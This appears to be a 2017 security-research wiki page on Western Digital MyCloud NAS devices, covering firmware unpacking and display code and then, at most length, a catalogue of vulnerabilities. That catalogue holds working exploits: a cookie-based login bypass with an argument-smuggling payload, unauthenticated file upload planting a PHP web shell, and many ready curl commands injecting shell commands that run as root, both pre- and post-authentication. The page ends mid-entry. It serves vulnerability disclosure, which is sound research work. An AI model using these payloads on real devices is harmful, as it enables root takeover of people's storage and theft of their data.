Difference between revisions of "Western Digital MyCloud"
Line 1,959: | Line 1,959: | ||
== Demo Video == | == Demo Video == | ||
{{#ev:youtube|aKu_yWrIIFI}} | {{#ev:youtube|aKu_yWrIIFI}} | ||
== Authentication Bypass and Arbitrary File Upload (added 8/6/2017) == | |||
{{#ev:youtube|EO_49pfmA5A}} |
Latest revision as of 12:37, 10 August 2017
"Although the information we release has been verified and shown to work to the best our knowledge, we cant be held accountable for bricked devices or roots gone wrong."
About
The Western Digital "MyCloud" is a series of network attached storage devices.
Purchase
Buying devices is expensive and, in a lot of cases our testing leads to bricked equipment. If you would like to help support our group, site, and research please use one of the links below to purchase your next device. Purchase the Western Digital MyCloud PR4100 at Amazon
Models
As of 3/03/2017, the following are the current available models.
- My Cloud
- My Cloud Gen 2
- My Cloud Mirror
- My Cloud PR2100
- My Cloud PR4100
- My Cloud EX2 Ultra
- My Cloud EX2
- My Cloud EX4
- My Cloud EX2100
- My Cloud EX4100
- My Cloud DL2100
- My Cloud DL4100
Firmware
Firmware can be found at the WD Support webpage "MyCloud" firmware download section.
Reversing Firmware
Firmware from the MyCloud devices can be unpacked using binwalk with the following command.
binwalk -Me mycloudfirmware.bin
This runs binwalk with the following options
-M, --matryoshka Recursively scan extracted files
-e, --extract Automatically extract known file types
Firmware Contents
After extracting the firmware the following items can usually be found.
- GRUB EFI Partition
- SquashFS Filesystem (Contains webroot, binaries, etc.)
- CPIO Ramdisk
Web Server
The web root for the web server is located at /var/www/.
- /sdk/ uses a reverse proxy to make requests to http://127.0.0.1:8181/sdk/ which is handled by the /usr/local/restsdk/restsdk-server binary
- API requests using the ^/api/([0-9.]+)/rest/(.*) syntax are passed through /htdocs/api/rest/index.php
- WEBSERVER RUNS AS ROOT
Writing To LCD Display
The code below allows for writing to the display on the WD MyCloud NAS.
Paste the following code below into two files, then compile against the "liblcd_management.so" library taken from the mycloud device or firmware with the following.
gcc lcd_disp.c -o lcd_disp -Llib -Llib/boost -lboost_system -llcd_management;
lcd_management.h
extern int lcd_set_weighted_page(const char *, const char *, unsigned int, unsigned int, char *, char **, unsigned int); extern int lcd_clear_all(const char *); extern int lcd_clear_page(const char *, const char *); extern int lcd_set_sleep_mode(unsigned int);
lcd_disp.c
/* * * Created to display text on WD MyCloud NAS Display. * */ #include <stdio.h> #include <unistd.h> #include "lcd_management.h" int main(int argc, char *argv[]){ if(argc == 3){ //LCD OFF lcd_set_sleep_mode(1); sleep(1); //LCD ON lcd_set_sleep_mode(0); //Clear LCD lcd_clear_all("lcd_display"); //Display Message lcd_set_weighted_page("lcd_display", "shutdown_reboot", 1, -1, argv[1], &argv[2], 1); printf("Added to LCD\n"); } else printf("Usage: %s line1str line2str\n", argv[0]); return 0; }
Vulnerabilities
The following are the vulnerabilities found in this product.
Login Bypass Vulnerability
We divide this into two sections, one with the original state of the login_checker.php vulnerability (Prior to 12/20/2016), and one with current version. Both contains vulnerabilities which allow for the bypassing of authentication validation.
login_checker.php (pre 12/20/2016)
A majority of the PHP scripts on the server contain a check to see if a user is logged in, the code for one of which is below.
Patched as of time of publication.
/var/www/web/lib/login_checker.php
4 function login_check() 5 { 6 $ret = 0; 7 8 if (isset($_SESSION['username'])) 9 { 10 if (isset($_SESSION['username']) && $_SESSION['username'] != "") 11 $ret = 2; //login, normal user 12 13 if ($_SESSION['isAdmin'] == 1) 14 $ret = 1; //login, admin 15 } 16 else if (isset($_COOKIE['username'])) 17 { 18 if (isset($_COOKIE['username']) && $_COOKIE['username'] != "") 19 $ret = 2; //login, normal user 20 21 if ($_COOKIE['isAdmin'] == 1) 22 $ret = 1; //login, admin 23 } 24 25 26 27 return $ret; 28 }
In the above, the "login_check()" function checks to see if a cookie exists with the name "username" (Ln. 18). It then proceeds to check to see if the username cookie is empty. If the cookie is not empty, the function sets the "ret" variable to 2 signifying that a user is logged in.
The function then also checks to see if the "isAdmin" cookie is equal to 1 (Ln. 21), if the cookie is set and is equal to 1 the "ret" variable is set to 1 signifying that the user logged in is an administrator.
The above code uses a user supplied value to determine if the user is logged in and does not properly validate or store any of the user information preventing an unauthorized user the ability to bypass the authentication.
This can be done by accessing any of the backend PHP scripts and adding the following cookies.
- username = ANYVALUE
- isAdmin = 1
login_checker.php (post 12/20/2016)
A majority of the PHP scripts on the server contain a check to see if a user is logged in, the current code (as of 1/1/2017) for one of which is below.
In the below we begin by looking at the function "login_check()" which is called within the header of php scripts and is used to validate the user info.
/var/www/web/lib/login_checker.php
20 function login_check() 21 { 22 $ret = 0; 23 24 if (isset($_SESSION['username'])) 25 { 26 if (isset($_SESSION['username']) && $_SESSION['username'] != "") 27 $ret = 2; //login, normal user 28 29 if ($_SESSION['isAdmin'] == 1) 30 $ret = 1; //login, admin 31 } 32 else if (isset($_COOKIE['username'])) 33 { 34 if (isset($_COOKIE['username']) && $_COOKIE['username'] != "") 35 $ret = 2; //login, normal user 36 37 if ($_COOKIE['isAdmin'] == 1) 38 $ret = 1; //login, admin 39 40 if (wto_check($_COOKIE['username']) === 0) //wto check fail 41 $ret = 0; 42 } 43 44 return $ret; 45 } 46 ?>
In the above, the "login_check()" function checks to see if a cookie exists with the name "username" (Ln. 32). It then proceeds to check to see if the username cookie is empty. If the cookie is not empty, the function sets the "ret" variable to 2 signifying that a user is logged in.
The function then also checks to see if the "isAdmin" cookie is equal to 1 (Ln. 37), if the cookie is set and is equal to 1 the "ret" variable is set to 1 signifying that the user logged in is an administrator.
Finally, we reach the part of the code that was added to prevent the vulnerability mentioned in the above section (and patched prior to our publishing of this document) portion of the code. On line 40, a call is made to the “wto_check()” function with the username cookie value as an argument. This function is used to verify that the user has already logged in and uses the IP address of the user, the user supplied username, and a with a timer to determine if the user has recently logged in and should be allowed to continue. Within this function is where the new vulnerability exists.
The code for “wto_check()” can be found below.
/var/www/web/lib/login_checker.php
3 /* 4 return value: 1: Login, 0: No login 5 */ 6 function wto_check($username) 7 { 8 if (empty($username)) 9 return 0; 10 11 exec(sprintf("wto -n \"%s\" -i '%s' -c", escapeshellcmd($username), $_SERVER["REMOTE_ADDR"]), $login_status); 12 if ($login_status[0] === "WTO CHECK OK") 13 return 1; 14 else 15 return 0; 16 } 17 18 /* ret: 0: no login, 1: login, admin, 2: login, normal user */ 19
The “wto_check()” function begins by verify that the supplied variable “$username” is not empty (Ln. 8) , if the variable is not empty the function proceeds. Then on line 11, an exec() call is made to the “wto” binary on the device with the “$username” variable (which is first passed through the PHP function “escapeshellcmd()”) and the "REMOTE_ADDR" array index within the “$_SERVER” PHP superglobal, which contains the requester’s IP address. The “wto” binary is located on the device at “/usr/local/modules/usrsbin/wto” and its arguments can be found below.
# wto --h Usage: wto [parm] -h help -n user name -i ip address -s set timeout -g get timer -c check timeout -r reset timer -a remove all -x del timeout item -z show all -d del user
Looking at the 2 pieces from above (the “wto_check()” function and the arguments to the “wto” binary), we can see that the call within “wto_check()” to the binary is using the ip address and username to check to see if the user’s login timer has expired. This however contains 1 issue, the programmer who patched the code chose to use the wrong PHP function for filtering input. The programmer used the PHP function “escapeshellcmd()” which is used to escape an entire command (as opposed to a single argument) and doesn’t comment out new function arguments. The correct use would have included the similarly named PHP function “escapeshellarg()”, which is used on single arguments within a command. Because the programmer used the wrong function, we are able to use the PHP “exec()” call to reset the login timeout by supplying an extra “-s TIMEOUTVALUE” argument for the user therefore signing them in (as opposed to just checking to see if the user is logged in). The following is an example of such a payload.
username=admin" -s 1337 -c "
This can be paired with the fact that an administrator is just signified by the presence of a cookie with the name "isAdmin" and the value of 1 for full administrator access to the device.
POC (curl argument)
--cookie "isAdmin=1;username=admin\" -s 1337 -c \""
The above can be added to any PHP based RCE requiring authentication for remote root command execution on the device.
network_mgr.cgi (added 8/6/2017)
The cgi binary "network_mgr.cgi" logs in a user prior to validating their credentials while also displaying a 404 error.
In the above screen shot of the hex-rays decompilation of "network_mgr.cgi", the following are performed in the listed order.
- Checks if "cmd" GET variable is "cgi_get_ipv6"
- Checks if "flag" GET variable is "1"
- Resets the "wto" timeout and ip for the admin user
- Checks if admin is logged in
As can be seen, prior to "kindaAuth()" call (function named by us), the wto_setTime function is called. This means that even if the supplied credentials are incorrect, the "wto" (as specified in the previous login bypass above) binary is used to reset the logged in users originating ip address and login timeout. This allows the attacker to simply supply the "isAdmin" and "username" cookies to sufficiently access any authenticated functionality within the administrative interface.
POC
# Logs in user curl -v "http://<DEVICEIP>/cgi-bin/network_mgr.cgi?cmd=cgi_get_ipv6&flag=1" # Uses unfixed "post-auth" vulnerability in "DsdkProxy.php" along with above bypass for RCE (Any of the listed post-auth vulnerabilities can be used) curl -i "http://<DEVICEIP>/web/dsdk/DsdkProxy.php" --data "';id;'" --cookie "isAdmin=1;username=admin"
Arbitrary Root File Write
The following allow for the ability to place a file anywhere on the NAS without authentication.
/web/addons/upload.php
This PHP page allows for the ability to upload a file to a location anywhere on the server.
Below is the code for the vulnerable PHP file.
addons/upload.php
1 <?php 2 //if(!isset($_REQUEST['name'])) throw new Exception('Name required'); 3 //if(!preg_match('/^[-a-z0-9_][-a-z0-9_.]*$/i', $_REQUEST['name'])) throw new Exception('Name error'); 4 // 5 //if(!isset($_REQUEST['index'])) throw new Exception('Index required'); 6 //if(!preg_match('/^[0-9]+$/', $_REQUEST['index'])) throw new Exception('Index error'); 7 // 8 //if(!isset($_FILES['file'])) throw new Exception('Upload required'); 9 //if($_FILES['file']['error'] != 0) throw new Exception('Upload error'); 10 11 $path = str_replace('//','/',$_REQUEST['folder']); 12 $filename = str_replace('\\','',$_REQUEST['name']); 13 $target = $path . $filename . '-' . $_REQUEST['index']; 14 15 //$target = $_REQUEST['folder'] . $_REQUEST['name'] . '-' . $_REQUEST['index']; 16 17 move_uploaded_file($_FILES['file']['tmp_name'], $target); 18 19 20 //$handle = fopen("/tmp/debug.txt", "w+"); 21 //fwrite($handle, $_FILES['file']['tmp_name']); 22 //fwrite($handle, "\n"); 23 //fwrite($handle, $target); 24 //fclose($handle); 25 26 // Might execute too quickly. 27 sleep(1); 28 29 ?>
In the code above there is no authentication done for file uploads and although a "-" is forced into the file name, this can be bypassed by placing the entire path in the "index" variable. Placing the entire path within the "index" request variable and using the "../" pattern to navigate different paths allows for complete control of the uploaded file and path where it's placed.
POC
curl -i "http://<IP>/web/addons/upload.php?folder=/tmp&name=a&index=/../../../../tmp/a0" -F "file=@/tmp/aaa"
/jquery/uploader/multi_uploadify.php (added 08/06/2017)
This PHP page allows for the ability to upload a file to a location anywhere on the server.
Below is the code for the vulnerable PHP file.
jquery/uploader/multi_uploadify.php
28 $ip = gethostbyaddr($_SERVER['HTTP_HOST']); 29 $name = $_REQUEST['name']; 30 $pwd = $_REQUEST['pwd']; 31 $redirect_uri = $_REQUEST['redirect_uri']; 32 33 //echo $name ."<br>".$pwd."<br>".$ip; 34 35 36 $result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi?cmd=1&name=".$name."=&pwd=".$pwd ),"" )); 37 38 $result_1 = strstr($result,"<auth_status>0</auth_status>"); 39 $result_1 = substr ($result_1, 0,28); 40 41 if (strncmp ($result_1,"<auth_status>0</auth_status>",28) == 0 ) 42 //if (strstr($result,"<auth_status>0</auth_status>")== 0 ) 43 { 44 header("HTTP/1.1 302 Found"); 45 header("Location: ".$redirect_uri."?status=0"); 46 exit(); 47 } 48 49 50 if (!empty($_FILES)) { 51 52 $targetPath = $_REQUEST['folder'] . '/'; 53 $count = (count($_FILES["Filedata"])-2); 54 55 56 for ( $I=0; $I < $count; $I++ ) 57 { 58 $tempFile = $_FILES['Filedata']['tmp_name'][$I]; 59 60 if ($tempFile == "") 61 { 62 continue; 63 } 64 $new_file_name = str_replace('\\','',$_FILES['Filedata']['name'][$I]); //amy++ 65 $targetFile = str_replace('//','/',$targetPath) . $new_file_name; 66 67 $status = move_uploaded_file($tempFile,$targetFile);
In the code above, on line 36, a web request is made to the following URL on the MyCloud web-server (/mydlink/mydlink.cgi). Then, on line 41, the output of the request is compared to the following string.
<auth_status>0</auth_status>
If the string is found the script exists (line 43-47).
Unfortunately, this request is used to authenticate the user for the file uploads and because this file does not exist within the NAS web directory, a 404 error is returned. This 404 error does not contain the string the script expects and therefore the script allows the user to upload a file. This file can be placed anywhere (including the web root directory) and therefore can result in remote code execution.
POC
printf "<?php echo system(\$_GET['cmd']); ?>" > /tmp/phpshell.php curl -v "http://<IP>/web/jquery/uploader/multi_uploadify.php?folder=/var/www/" -F "Filedata[]=@/tmp/phpshell.php"
Pre-Auth Remote Command Execution
The following vulnerabilities allow for privileged access to the NAS without any form of authentication. All commands are executed as root.
/web/addons/ftp_download.php
Authentication Commented Out
This isn’t really a vulnerability but just a place where if the authentication had been in place the RCE within the same code wouldn’t have been made accessible without the login bypass bug.
addons/ftp_download.php
6 //include ("../lib/login_checker.php"); 7 // 8 ///* login_check() return 0: no login, 1: login, admin, 2: login, normal user */ 9 //if (login_check() == 0) 10 //{ 11 // echo json_encode($r); 12 // exit; 13 //}
As you can see from the above, the normal authentication code has been commented out allowing for all functionality within the file to be reached or exploited.
This alone would allow a user to backup to and from an FTP Site.
The following bugs are then accessible through different paths and different variables within the file.
Remote Command Execution
A remote command execution vulnerability exists in the ftp_download functionality of the MyCloud web interface when the "action" variable is set to "create." This bug is accessible without authentication as the normal authentication code has been commented out.
The code below shows the vulnerable area.
addons/ftp_download.php
130 case "create": 131 { 132 $taskname = $_POST['taskname']; 133 $source_dir = $_POST['source_dir']; 134 $dest_dir = $_POST['dest_dir']; 135 $schedule = $_POST['schedule']; 136 $schedule_type = $_POST['backup_sch_type']; 137 $hour = $_POST['hour']; 138 $week = $_POST['week']; 139 $day = $_POST['day']; 140 141 $host = $_POST['host']; 142 $user = $_POST['user']; 143 $pwd = $_POST['pwd']; 144 $lang = $_POST['lang']; 145 146 $sch_command = ""; 147 if ($schedule == "0")$sch_command = "0,1,1"; 148 else if ($schedule_type == "3")$sch_command = "3,1,".$hour; //daily 149 else if ($schedule_type == "2")$sch_command = "2,".$week.",".$hour; //weekly 150 else if ($schedule_type == "1")$sch_command = "1,".$day.",".$hour; //monthly 151 152 153 $cmd = sprintf("ftp_download -a \"%s\" -i \"%s\" -u \"%s\" -p \"%s\" -l \"%s\" -d \"%s\" -r %s -c jobadd", 154 $taskname, $host, $user, $pwd, $lang, $dest_dir, $sch_command); 155 156 foreach ($source_dir as $val) 157 $cmd .= sprintf(" -s \"%s\"", $val); 158 159 $cmd .= " >/dev/null 2>&1"; 160 system($cmd); 161 //pclose(popen($cmd, 'r')); 162 $pname = sprintf("/tmp/r_ftpdl!_%s", $taskname); 163 @unlink($pname); 164 165 stop_job($taskname); 166 167 //Start job 168 //$cmd = sprintf("(ftp_download -a '%s' -c jobrun >/dev/null 2>&1)&", $taskname); 169 $cmd = sprintf("ftp_download -a '%s' -c jobrun > /dev/null 2>&1 &", $taskname); 170 system($cmd);
In lines 133-144, a number of post values are moved into local variables. The variables are then used a few lines later within a system() call. This is all done without any sanitization on the supplied values allowing for command execution through multiple variables.
The "stop_job()" call also contains a command injection bug through its use of the "taskname" variable.
addons/ftp_download.php
115 function stop_job($taskname) 116 { 117 //Stop job 118 $cmd = sprintf("ftp_download -a '%s' -c jobstop >/dev/null 2>&1", $taskname); 119 pclose(popen($cmd, 'r')); 120 sleep(2); 121 122 $pname = sprintf("/tmp/r_%s!_ftpdl", $taskname); 123 file_put_contents($pname, "-10"); //Cancel 124 }
In the above, on line 118, the "taskname" variable is passed in as a function argument. It is then stored in the "cmd" variable in the proper syntax to stop a job through the ftp_download binary. On the next line we can see that the cmd variable is then executed through the popen() call allowing for command injection.
POC
curl "http://<IP>/web/addons/ftp_download.php" --data "action=create&taskname=&source_dir[]=&dest_dir=&schedule=&backup_sch_type=&hour=&week=&day=&host=%24(touch%20/tmp/a1)&user=&pwd=&lang="
The stop_job method is accessible through the following POC.
POC
curl "http://<IP>/web/addons/ftp_download.php" --data "action=stop_jobs&taskname=';touch%20/tmp/a2;'"
Remote Command Execution
A remote command execution vulnerability exists in the ftp_download functionality of the MyCloud web interface when the "action" variable is set to "modify".
addons/ftp_download.php
181 case "modify": 182 { 183 $taskname = $_POST['taskname']; 184 $source_dir = $_POST['source_dir']; 185 $dest_dir = $_POST['dest_dir']; 186 //$backup_type = $_POST['backup_type']; 187 $old_taskname = $_POST['old_taskname']; 188 189 $schedule = $_POST['schedule']; 190 $schedule_type = $_POST['backup_sch_type']; 191 $hour = $_POST['hour']; 192 $week = $_POST['week']; 193 $day = $_POST['day']; 194 195 $host = $_POST['host']; 196 $user = $_POST['user']; 197 $pwd = $_POST['pwd']; 198 $lang = $_POST['lang']; 199 200 $sch_command = ""; 201 if ($schedule == "0")$sch_command = "0,1,1"; 202 else if ($schedule_type == "3")$sch_command = "3,1,".$hour; //daily 203 else if ($schedule_type == "2")$sch_command = "2,".$week.",".$hour; //weekly 204 else if ($schedule_type == "1")$sch_command = "1,".$day.",".$hour; //monthly 205 206 stop_job($taskname); 207 208 $cmd = sprintf("ftp_download -a \"%s\" -x \"%s\" -i \"%s\" -u \"%s\" -p \"%s\" -l \"%s\" -d \"%s\" -r %s -c jobedit", 209 $taskname, $old_taskname, $host, $user, $pwd, $lang, $dest_dir, $sch_command); 210 211 foreach ($source_dir as $val) 212 $cmd .= sprintf(" -s \"%s\"", $val); 213 $cmd .= " >/dev/null 2>&1"; 214 system($cmd); 215 //pclose(popen($cmd, 'r')); 216 217 //Start job 218 //$cmdS = sprintf("ftp_download -a '%s' -c jobrun &", $taskname); 219 $cmdS = sprintf("ftp_download -a '%s' -c jobrun > /dev/null 2>&1 &", $taskname); 220 system($cmdS);
In lines 183-198, a number of post values are moved into local variables. The variables are then used a few lines later within a system() call. This is all done without any sanitization on the supplied values allowing for command execution through multiple variables.
This path also suffers from a command injection vulnerability using the "$taskname" variable through the same "stop_job" code mentioned previously.
POC
curl "http://<IP>/web/addons/ftp_download.php" --data "action=modify&taskname=&source_dir[]=&dest_dir=&schedule=&backup_sch_type=&hour=&week=&day=&host=%24(touch%20/tmp/a3)&user=&pwd=&lang="
Remote Command Execution
A remote command execution vulnerability exists in the ftp_download functionality of the MyCloud web interface when the "action" variable is set to "del".
addons/ftp_download.php
231 case "del": 232 { 233 $taskname = $_POST['taskname']; 234 235 stop_job($taskname); 236 237 $cmd = sprintf("ftp_download -a '%s' -c jobdel >/dev/null 2>&1", $taskname); 238 system($cmd);
In the above, on line 233 the posted "taskname" variable is put into the local "$taskname" var. It is then loaded into the "$cmd" variable as an argument in a command which deletes a job using the ftp_download binary. The cmd variable is then used within the system() call on line 238.
This path also suffers from command injection using the "$taskname" within the same "stop_job" bug mentioned previously.
POC
curl "http://<IP>/web/addons/ftp_download.php" --data "action=del&taskname=';touch%20/tmp/a4;'"
Remote Command Execution
A remote command execution bug exists in the ftp_download functionality of the MyCloud web interface when the "action" variable is set to "go_jobs".
addons/ftp_download.php
250 case "go_jobs": 251 { 252 $taskname = $_POST['taskname']; 253 254 $pname = sprintf("/tmp/r_%s!_ftpdl", $taskname); 255 @unlink($pname); 256 257 $cmd = sprintf("ftp_download -a '%s' -c jobrun &", $taskname); 258 pclose(popen($cmd, 'r'));
On line 252 the posted value for the "taskname" variable is put into the "$taskname" local variable. Then on line 257, the "$taskname" variable is put into "$cmd" and is formatted into the syntax as an argument for the ftp_download binary. Finally on line 258, "$cmd" is used as an argument to the popen() call allowing for command injection.
POC
curl "http://<IP>/web/addons/ftp_download.php" --data "action=go_jobs&taskname=';touch%20/tmp/a5;'"
Remote Command Execution
A remote command execution vulnerability exists in the ftp_download functionality of the MyCloud web interface when the "action" variable is set to "go_restore".
addons/ftp_download.php
282 case "go_restore": 283 { 284 $taskname = $_POST['taskname']; 285 286 stop_job($taskname); 287 288 $pname = sprintf("/tmp/r_%s!_ftpdl", $taskname); 289 file_put_contents($pname, "0"); //Cancel 290 291 $list_xml_file = sprintf("/tmp/r_ftpdl!_restore_imcremental_%s.xml", $taskname); 292 $cmd = sprintf("ftp_download -a '%s' -o '%s' -F %s -c jobrs &", $taskname, $list_xml_file, $_POST['restore_source']); 293 pclose(popen($cmd, 'r'));
In the above, on line 282 the posted "taskname" variable is put into the local "$taskname" var. Then on line 292 the variable is loaded into "$cmd" as an argument for the ftp_download binary. The "$cmd" variable is then used as an argument for the popen() call on line 293 allowing for command injection.
POC
curl "http://<IP>/web/addons/ftp_download.php" --data "action=go_restore&taskname=a&restore_source=;touch%20/tmp/a6;"
/web/storage/raid_cgi.php
Authentication Commented Out
This isn’t really a vulnerability but just a place where if the authentication had been in place the RCE within the same code wouldn’t have been made accessible without the login bypass bug.
storage/raid_cgi.php
6 //include ("../lib/login_checker.php"); 7 // 8 ///* login_check() return 0: no login, 1: login, admin, 2: login, normal user */ 9 //if (login_check() != 1) 10 //{ 11 // echo json_encode($r); 12 // exit; 13 //}
As you can see from the above, the normal authentication code has been commented out allowing for all the functionality within the file to be reached and exploited.
This bug alone would allow a user to conduct device specific tests and get RAID system information.
Because authentication is commented out, the following bug is accessible.
Remote Command Execution
A remote command execution vulnerability exists in the RAID testing functionality of the MyCloud web interface when the "cmd" post variable is set to "cgi_Run_Smart_Test".This bug is accessible without authentication as the normal authentication code has been commented out.
storage/raid_cgi.php
21 case "cgi_Run_Smart_Test": 22 { 23 $run_cmd = $_POST['run_cmd']; 24 system("smart_test -X > /dev/null"); 25 26 $run_cmd .= " > /dev/null &"; 27 system($run_cmd);
On line 23 the posted "run_cmd" variable is loaded into the local variable "$run_cmd". Then on line 26, the $run_cmd variable has " > /dev/null &" appended to the end and is then used as an argument to the system() call on line 27.
POC
curl "http://<IP>/web/storage/raid_cgi.php" --data "cmd=cgi_Run_Smart_Test&run_cmd=touch%20/tmp/a7"
/web/addons/jqueryFileTree.php
A remote command execution vulnerability exists in the "addons/jqueryFileTree.php" script within the MyCloud web interface. This file contains and uses no authentication code, making this bug "pre-auth".
Remote Command Execution
The following code shows the vulnerability.
addons/jqueryFileTree.php
23 $host = ($_POST['host'] == "")? $_GET['host']:$_POST['host']; 24 $pwd = ($_POST['pwd'] == "")? $_GET['pwd']:$_POST['pwd']; 25 $user = ($_POST['user'] == "")? $_GET['user']:$_POST['user']; 26 $dir = ($_POST['dir'] == "")? $_GET['dir']:$_POST['dir']; 27 $lang = ($_POST['lang'] == "")? $_GET['lang']:$_POST['lang']; 28 //echo $dir."dir1=".dir1; 29 error_reporting(0); 30 31 @unlink("/tmp/ftp-folder.txt"); 32 @unlink("/tmp/ftp-file.txt"); 33 34 $cmd = sprintf("ftp_download -c gettree -i \"%s\" -u \"%s\" -p \"%s\" -t \"%s\" -l \"%s\"", $host, $user, $pwd ,$dir ,$lang); 35 36 $handle = popen($cmd, 'r');
In the above, lines 23-27 move either a GET or POST value for each variable ("host", "pwd", "user", "dir", and "lang") into the appropriately named local variable. The variables are then all loaded without any sanitization into "$cmd" in a command as an argument for the ftp_download binary. On line 36, the $cmd variable is then passed into the popen call(), executing the command.
POC
curl "http://<IP>/web/addons/jqueryFileTree.php" --data 'host=";touch%20/tmp/a8;"&pwd=&user=&dir=&lang=' OR curl "http://<IP>/web/addons/jqueryFileTree.php" --data 'host=&pwd=";touch%20/tmp/a9;"&user=&dir=&lang=' OR curl "http://<IP>/web/addons/jqueryFileTree.php" --data 'host=&pwd=&user=";touch%20/tmp/a10;"&dir=&lang=' OR curl "http://<IP>/web/addons/jqueryFileTree.php" --data 'host=&pwd=&user=&dir=";touch%20/tmp/a11;"&lang=' OR curl "http://<IP>/web/addons/jqueryFileTree.php" --data 'host=&pwd=&user=&dir=&lang=";touch%20/tmp/a12;"'
/cgi-bin/snmp_mgr.cgi
Five remote command execution vulnerabilities exists in the "cgi-bin/snmp_mgr.cgi" binary within the MyCloud web interface. This file contains and uses no authentication code, making these bugs "pre-auth".
These bugs for now will be released as just POCs and we will be writing up the analysis for these bugs at a later point.
Remote Command Execution
POC
curl -i "http://<IP>/cgi-bin/snmp_mgr.cgi?cmd=cgi_SNMPv3_delete_one_record&uid=%24(touch%20/tmp/a13)"
Remote Command Execution
This RCE has limitation of a 32 character limit for the “uid” field.
POC
curl -i "http://<IP>/cgi-bin/snmp_mgr.cgi?cmd=cgi_get_SNMPv3_one_record&uid=%24(touch%20/tmp/a14)"
Remote Command Execution
This RCE has limitation of a 32 character limit for the “uid” field.
POC
curl -i "http://<IP>/cgi-bin/snmp_mgr.cgi?cmd=cgi_set_SNMP_v2&f_enable=&snmp_enabled_level=&snmp_syslocation=&snmp_syscontact=&f_community=¬ification_community=¬ification_enable=&ip=%24(touch%20/tmp/a15)"
Remote Command Execution
When modifying this RCE, you must ensure that the “data_len” variable contains the correct string length of the “data” variable.
POC
curl -i "http://<IP>/cgi-bin/snmp_mgr.cgi?cmd=cgi_SNMPv3_modify_one_record&data_len=66&data=%3Ca%20id=0%3E%3Ccell%3E%24(touch%20/tmp/a16)%3C/cell%3E%3C/a%3E"
Remote Command Execution
When modifying this RCE, you must ensure that the “data_len” variable contains the correct string length of the “data” variable.
POC
curl -i "http://<IP>/cgi-bin/snmp_mgr.cgi?cmd=cgi_set_SNMPv3_one_record&data_len=66&data=%3Ca%20id=0%3E%3Ccell%3E%24(touch%20/tmp/a17)%3C/cell%3E%3C/a%3E"
/cgi-bin/login_mgr.cgi
A remote command execution vulnerabilities exists in the "cgi-bin/login_mgr.cgi" binary within the MyCloud web interface. This file contains and uses no authentication code, making this bug "pre-auth".
This bug for now will be released as a POC and we will be writing up the analysis for this bug at a later point.
Remote Command Execution
POC
curl -i "http://<IP>/cgi-bin/login_mgr.cgi" --data "cmd=wd_login&username=\a';touch%20/tmp/a18;'&pwd=a"
Authentication Required Remote Command Execution
The following bugs require authentication but, this requirement can be overcome by using the login bypass method listed in the login bypass section above.
A quick example POC using CURL for this bug is:
--cookie "isAdmin=1;username=admin\" -s 1337 -c \""
/web/php/users.php
A remote command execution vulnerability exists in the "php/users.php" script within the MyCloud web interface.
Remote Command Execution
The "php/users.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code illustrates the vulnerability.
php/users.php
15 $username = $_COOKIE['username']; 16 exec("wto -n \"$username\" -g", $ret);
This bug is very simple, on line 15 the value of the "username" cookie is pulled into a local variable "$username", on the next line the value is used in the exec() call.
POC
curl -i "http://<IP>/web/php/users.php" --cookie "isAdmin=1;username=%24(touch%20/tmp/a19)\" -s 1337 -c \""
/web/php/upload.php
A remote command execution vulnerability exists in the "php/upload.php" script within the MyCloud web interface.
Remote Command Execution
The "php/upload.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code illustrates the vulnerability.
php/upload.php
15 $username = $_COOKIE['username']; 16 exec("wto -n \"$username\" -g", $ret);
On line 15 the value of the "username" cookie is pulled into a local variable, on the next line the value is used in the exec() call.
POC
curl -i "http://<IP>/web/php/upload.php" --cookie "isAdmin=1;username=%24(touch%20/tmp/a20)\" -s 1337 -c \""
/web/setting/recycle_bin.php
A remote command execution vulnerability exists in the "setting/recycle_bin.php" script within the MyCloud web interface.
Remote Command Execution
The "setting/recycle_bin.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code illustrates the vulnerability.
setting/recycle_bin.php
45 case "save": 46 { 47 set_xml_value_to_memory("/recycle_bin/auto_clear", $_POST["enable_auto_clear"]); 48 set_xml_value_to_memory("/recycle_bin/day", $_POST["clear_days"]);
In the above, when "action" is set to "save", the set_xml_value_to_memory() is called. The user supplied post value for "enable_auto_clear" and "clear_days" are then used as the second argument for the set_xml_value_to_memory() function. The code for set_xml_value_to_memory() can be found below.
setting/recycle_bin.php
23 function set_xml_value_to_memory($node, $val) 24 { 25 $cmd = sprintf("xmldbc -s %s \"%s\"", $node, $val); 26 pclose(popen($cmd, 'r')); 27 }
The above function "set_xml_value_to_memory" accepts two arguments, "$node" and "$val". In both calls to this code, "$node" is a static value while "$val" is user supplied. On line 25, both the "$node" and "$val" are used to craft a command which is stored in "$cmd" without any sanitization. On line 26, the "$cmd" variable is then used as the argument to popen(), which executes the command within. This allows for remote command execution
POC
curl -i "http://<IP>/web/setting/recycle_bin.php" -d "action=save&enable_auto_clear=0&clear_days=%24(touch%20/tmp/a21)" --cookie "isAdmin=1;username=admin\" -s 1337 -c \"" OR curl -i "http://<IP>/web/setting/recycle_bin.php" -d "action=save&enable_auto_clear=%24(touch%20/tmp/a22)&clear_days=0" --cookie "isAdmin=1;username=admin\" -s 1337 -c \""
/web/php/sendLogToSupport.php
A remote command execution vulnerability exists in the "php/sendLogToSupport.php" script within the MyCloud web interface.
Remote Command Execution
The "php/sendLogToSupport.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands. The following code illustrates the vulnerability.
php/sendLogToSupport.php
15 $username = $_COOKIE['username']; 16 exec("wto -n \"$username\" -g", $ret);
On line 15 the value of the "username" cookie is pulled into a local variable. In the next line the value is used in an exec() call.
POC
curl -i "http://<IP>/web/php/sendLogToSupport.php?cmd=send_log&dev=a" --cookie "isAdmin=1;username=%24(touch%20/tmp/a23)\" -s 1337 -c \""
/web/php/remoteBackups.php
A remote command execution bug exists in the "php/remoteBackups.php" script within the MyCloud web interface.
Remote Command Execution
The "php/remoteBackups.php" file is vulnerable to a remote command execution bug allowing for a logged in user to execute commands.The following code illustrates the vulnerability.
php/remoteBackups.php
